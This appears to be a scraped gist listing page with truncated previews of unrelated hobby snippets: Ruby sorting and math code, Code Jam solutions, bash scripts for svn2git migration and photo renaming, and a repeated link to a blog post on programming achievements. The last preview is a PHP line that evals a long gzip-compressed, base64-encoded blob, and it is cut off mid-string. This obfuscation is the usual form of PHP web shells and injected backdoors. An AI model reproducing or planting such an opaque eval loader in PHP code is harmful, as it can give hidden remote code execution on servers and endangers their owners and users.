This gist is part of a blog post. Check it out at:
http://jasonrudolph.com/blog/2011/08/09/programming-achievements-how-to-level-up-as-a-developer
andersonvom /tmp/sort $ wc -l random.txt | |
1241894 random.txt | |
andersonvom /tmp/sort $ time ruby merge_sort.rb | |
real 0m21.932s | |
user 0m21.730s | |
sys 0m0.200s |
#!/bin/bash | |
vetor[0]="023 asdf asdf" | |
vetor[1]="123 asdf asdf" | |
vetor[2]="323 asdf asdf" | |
for i in 1 2 3 | |
do | |
if [ "${vetor[0]}" \< "${vetor[i]}" ] | |
then |
class Email | |
def self.arccot(x, unity) | |
xpow = unity / x | |
n = 1 | |
sign = 1 | |
sum = 0 | |
loop do | |
term = xpow / n | |
break if term == 0 |
# Google Code Jam: http://code.google.com/codejam/contest/1460488/dashboard#s=p2 | |
def rotate(n, digits, size) | |
magnitude = (10 ** (size-digits)) | |
first = n / magnitude | |
last = n % magnitude | |
result = last * (10**digits) + first | |
end | |
def num_pairs(s, e) |
def z_naive(n) | |
temp = 1 | |
num_zeroes = 0 | |
(2..n).each do |i| | |
temp *= i | |
while temp%10 == 0 | |
temp /= 10 | |
num_zeroes += 1 | |
end | |
end |
SVN_USERNAME="username" | |
SVN_REPO_URL="http://www.example.com/svn/project" | |
GIT_REPO_URL="http://www.example.com/git/project.git" | |
# Exporting default repo configuration | |
echo "Exporting default repo configuration" | |
mkdir newrepoA | |
cd newrepoA | |
svn2git -v $SVN_REPO_URL --username $SVN_USERNAME > log & | |
cd .. |
This gist is part of a blog post. Check it out at:
http://jasonrudolph.com/blog/2011/08/09/programming-achievements-how-to-level-up-as-a-developer
def substring?(s1, s2) | |
a = s1.size | |
b = s2.size | |
i = 0 | |
while i <= a | |
x = i | |
j = 0 | |
while j <= b | |
return true if j == b |
#!/bin/bash | |
INITIAL_NUM=1012 | |
SEPARATOR='_' | |
for i in *.JPG | |
do | |
basename=`basename $i .JPG` | |
prefix=`echo $basename | cut -d $SEPARATOR -f1` | |
current_num=`echo $basename | cut -d $SEPARATOR -f2` |
<?php eval(gzinflate(base64_decode("DZVHDqwIAkPv0qv/xQKKjEa9IOec2bTIOaeC00/dwLbs5/JKhz/1207VkB7lnyzdSxz9ryjzuSj//MMlgbDtvlzX3gWt+1qG/NhFS5NsaRUX+qMThmWBpCzmm6ypFASoFQCvfQqtFqlAF9LvHBBgHhYpHgjKhVVdMnICPQk/LTSetpe/w2Fur+PgZseuerkmcZZ0jEKjd0k7WLL6KVefJyPjhztLi7AuHOyNkNDkveRUrVTvKuUAGgSZVHBIQzz5L5+1p6nZc6IF4Z6e8MYNy9VKRXReWIK6/swk6Y5laXNjRuZKqb2ctaFkho83eySK0T361+EiN0Xdy9xnPjHjmqRt+myumN2rdaZej6+eBSSApvmInHbsUNcMCPsp4q/4pC2RRd5IcxGUuDQXj7kF4yuyOVU/+qVvTduEQXjAkTlBlSCgW6cFQu6MilOhXUasWgjDbgDnOSoYq0V1kLyJQdjNigiIM2iAl5DlEgSjJpaIR85mYzKLsWwDj+YFjqyHpKDZ6fY1hd3JRABdfg0Hwe9dhTGQ0rQn2j/2VwUBy3O3dQ4hdfAqkqh6b6NmX/0eZV8Ki4AyginkigpU59BwyB75RFkvm6uJIEBdSaoD1MNeECFyL0C7zCYqBkMfIZmlHZHm6YbD+XddXBWkGtqqTljf3zUEBhbGjWl54cBU12ZFdBlmuk/F4gNuaB6txoNNfRDs7hM9DdK8ctULOqVWeTC/CJczXG30JuOx9hrmo+QQ/llHfq4amTbo1HEgnRWnvaw5bHX2T0K1IogO/ShXgBSCObVqeYqe9/AdPX2Q4fSqLEjt0vO0I40AzJxLE5JasHzdpMEfVWb7FqPWFZ09RsbcxTDdViHnBiYr63cT57oea1X6MRxf38OJV+I4svOStSxLP7Ou5RfqWx33SqtVYkSSLRbIYDWDwr7DJ5rT02M+zUIdOWBVxIJqfsKCmxUIKPi2NX6XWsQwfAdTG85w2A5nmf1Z |